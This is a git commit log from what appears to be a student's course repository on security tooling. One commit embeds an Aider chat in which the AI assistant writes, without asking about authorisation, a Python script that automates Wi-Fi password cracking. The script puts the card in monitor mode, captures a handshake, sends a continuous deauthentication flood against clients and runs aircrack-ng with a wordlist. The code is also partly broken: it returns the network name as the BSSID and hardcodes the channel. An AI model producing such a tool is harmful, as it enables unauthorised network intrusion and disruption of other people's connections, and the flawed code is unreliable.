Commit Graph

58 Commits

Author SHA1 Message Date
David Westgate
7dde8a9e64 Added functions to change wifi interface mode, start/stop monitor mode, capture handshake, deauthenticate clients, and crack password using aircrack-ng. 2024-05-30 13:59:52 -07:00
David Westgate
1cb09832a3 aider: Added a python application to assist in wifi penetration testing.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name of a password protected
wifi network BSSID and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limite
d to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/prompt0/app.py

ASSISTANT: ```python
hw7/prompt0/app.py
<<<<<<< SEARCH
=======
import subprocess
import re
import time

def change_to_monitor_mode(interface: str) -> None:
    """
    Change the given interface to monitor mode.
    """
    subprocess.run(["sudo", "airmon-ng", "start", interface])

def change_to_managed_mode(interface: str) -> None:

USER: ```python
hw7/prompt0/app.py
<<<<<<< SEARCH
=======
import subprocess
import re
import time

def change_to_monitor_mode(interface: str) -> None:
    """
    Change the given interface to monitor mode.
    """
    subprocess.run(["sudo", "airmon-ng", "start", interface])

def change_to_managed_mode(interface: str) -> None:

^^^ Incomplete SEARCH/REPLACE block.

ASSISTANT: ```python
hw7/prompt0/app.py
<<<<<<< SEARCH
=======
import subprocess
import re
import time

def change_to_monitor_mode(interface: str) -> None:
    """
    Change the given interface to monitor mode.
    """
    subprocess.run(["sudo", "airmon-ng", "start", interface])

def change_to_managed_mode(interface: str) -> None:
    """
    Change the given interface to managed mode.
    """
    subprocess.run(["sudo", "airmon-ng", "stop", interface])

def get_bssid(essid: str) -> str:
    """
    Get the BSSID of the given ESSID.
    """
    process = subprocess.Popen(["sudo", "iwconfig"], stdout=subprocess.PIPE)
    output, error = process.communicate()
    output = output.decode("utf-8")
    match = re.search(r"ESSID:\"({})\"".format(essid), output)
    if match:
        return match.group(1)
    else:
        return None

def capture_handshake(bssid: str, interface: str) -> None:
    """
    Capture the handshake of the given BSSID.
    """
    subprocess.Popen(["sudo", "airodump-ng", "--bssid", bssid, "--channel", "6", "-w", "capture", interface], stdout=subprocess.PIPE)
    time.sleep(5)
    subprocess.run(["sudo", "aireplay-ng", "--deauth", "0", "-a", bssid, interface])
    time.sleep(10)
    subprocess.run(["sudo", "killall", "airodump-ng"])

def crack_handshake(capture_file: str, wordlist: str) -> str:
    """
    Crack the handshake in the given capture file.
    """
    process = subprocess.Popen(["sudo", "aircrack-ng", "-w", wordlist, capture_file], stdout=subprocess.PIPE)
    output, error = process.communicate()
    output = output.decode("utf-8")
    match = re.search(r"KEY FOUND! \[(.*)\]", output)
    if match:
        return match.group(1)
    else:
        return None

if __name__ == "__main__":
    essid = input("Enter the ESSID: ")
    interface = input("Enter the interface: ")
    wordlist = input("Enter the path to the wordlist: ")

    change_to_monitor_mode(interface)
    bssid = get_bssid(essid)
    if bssid:
        print(f"BSSID: {bssid}")
        capture_handshake(bssid, interface)
        password = crack_handshake("capture-01.cap", wordlist)
        if password:
            print(f"Password: {password}")
        else:
            print("Password not found.")
    else:
        print("ESSID not found.")

    change_to_managed_mode(interface)
>>>>>>> REPLACE
```
2024-05-30 13:08:10 -07:00
David Westgate
598cb778d5 update readme, gitignore 2024-05-29 16:37:18 -07:00
David Westgate
aac3eb1153 initial commit for hw7 2024-05-27 10:53:13 -07:00
David Westgate
08f877b946 add url 2024-05-24 18:33:59 -07:00
David Westgate
bbd894c4ce add langchange to env example 2024-05-24 17:57:41 -07:00
David Westgate
66f5e16ee0 fix curl issue in readme 2024-05-24 17:57:07 -07:00
David Westgate
ca919d9520 code cleanup and comments 2024-05-23 20:00:52 -07:00
David Westgate
bca136c1c0 update readme again 2024-05-23 19:33:03 -07:00
David Westgate
3759cb2709 almost works 2024-05-23 16:21:10 -07:00
David Westgate
e17bdcab70 update tool again 2024-05-23 12:11:16 -07:00
David Westgate
9c7dece545 some improvement to tools 2024-05-23 12:00:52 -07:00
David Westgate
e6ef898467 add iw took for recon 2024-05-22 21:48:40 -07:00
David Westgate
f41a632da1 add wordlist file loading to cracking 2024-05-22 18:13:34 -07:00
David Westgate
727a64f3e5 add tools, update readme, format 2024-05-22 16:40:46 -07:00
David Westgate
f7eae67744 added tools 2024-05-22 15:59:39 -07:00
David Westgate
919ee0c08e add readme, env.example 2024-05-18 11:59:53 -07:00
David Westgate
e3f00d3044 initial commit for hw6 2024-05-18 11:58:37 -07:00
David Westgate
4f285dbe13 add hw5 screencast url 2024-05-16 21:15:23 -07:00
David Westgate
ce12730daf typo 2024-05-16 20:44:56 -07:00
David Westgate
c4b0cc744d update readme, format app and comment app, update reqs 2024-05-16 14:42:51 -07:00
David Westgate
14682a55b5 added zip fetch, extract 2024-05-15 22:18:21 -07:00
David Westgate
da6217324a work on ctf download 2024-05-14 12:52:18 -07:00
David Westgate
6966d33826 start work on app, readme 2024-05-11 10:37:05 -07:00
David Westgate
329241d9fd initial commit for hw5 2024-05-11 10:28:04 -07:00
David Westgate
5e7340a8e3 format and add media link 2024-05-09 23:33:21 -07:00
David Westgate
efc1c4bf06 update test files again 2024-05-09 22:37:20 -07:00
David Westgate
0e75e62479 add tests files 2024-05-09 22:14:42 -07:00
David Westgate
415976cd5f remove unneeded time requirnment 2024-05-09 18:43:05 -07:00
David Westgate
f87ee5cc15 add docstring comment 2024-05-09 13:57:17 -07:00
David Westgate
6d0373c92b add env example 2024-05-09 13:50:31 -07:00
David Westgate
ac80b0d0d6 finish app, update readme, update test inputs 2024-05-09 13:47:35 -07:00
David Westgate
ade1c61334 add formatted code for test 2024-05-09 12:02:01 -07:00
David Westgate
a44c57c220 add script for test example 2024-05-08 17:23:27 -07:00
David Westgate
ca9d33801a de-obfuscate from local file 2024-05-06 20:56:13 -07:00
David Westgate
3fa6b80c22 initial commit for hw4 2024-05-03 13:33:12 -07:00
David Westgate
ceda00d47d add hw3 screencast url 2024-05-02 12:46:30 -07:00
David Westgate
266d5953cc format all scripts; fix loader issue from hw1 firecrawl; start hw3 2024-04-30 16:00:31 -07:00
David Westgate
06dbb7fcf2 initial commit for hw3 2024-04-27 15:02:21 -07:00
David Westgate
709fdee2d0 update screencast url 2024-04-25 22:19:06 -07:00
David Westgate
3ba5b7d04b update app.py comments 2024-04-25 22:17:13 -07:00
David Westgate
36f74f707a comment update in tools.py 2024-04-25 22:15:25 -07:00
David Westgate
4db069026e update readme and .env.example 2024-04-25 14:14:45 -07:00
David Westgate
18d64d0651 add support for ksp rag from hw1 2024-04-25 13:55:29 -07:00
David Westgate
fd20f8d694 add google jobs 2024-04-25 10:52:31 -07:00
David Westgate
767104cac8 added DALL-E tool and it seems to work 2024-04-21 14:14:40 -07:00
David Westgate
bbd62ce4fc start with adapting example, and seperating out tooling into file 2024-04-21 13:20:43 -07:00
David Westgate
4fb6ada4e2 initial commit for hw2 2024-04-19 18:48:45 +00:00
David Westgate
a3eb19e423 update screencast url 2024-04-19 00:59:06 -07:00
David Westgate
464597d02b add env example 2024-04-19 00:02:36 -07:00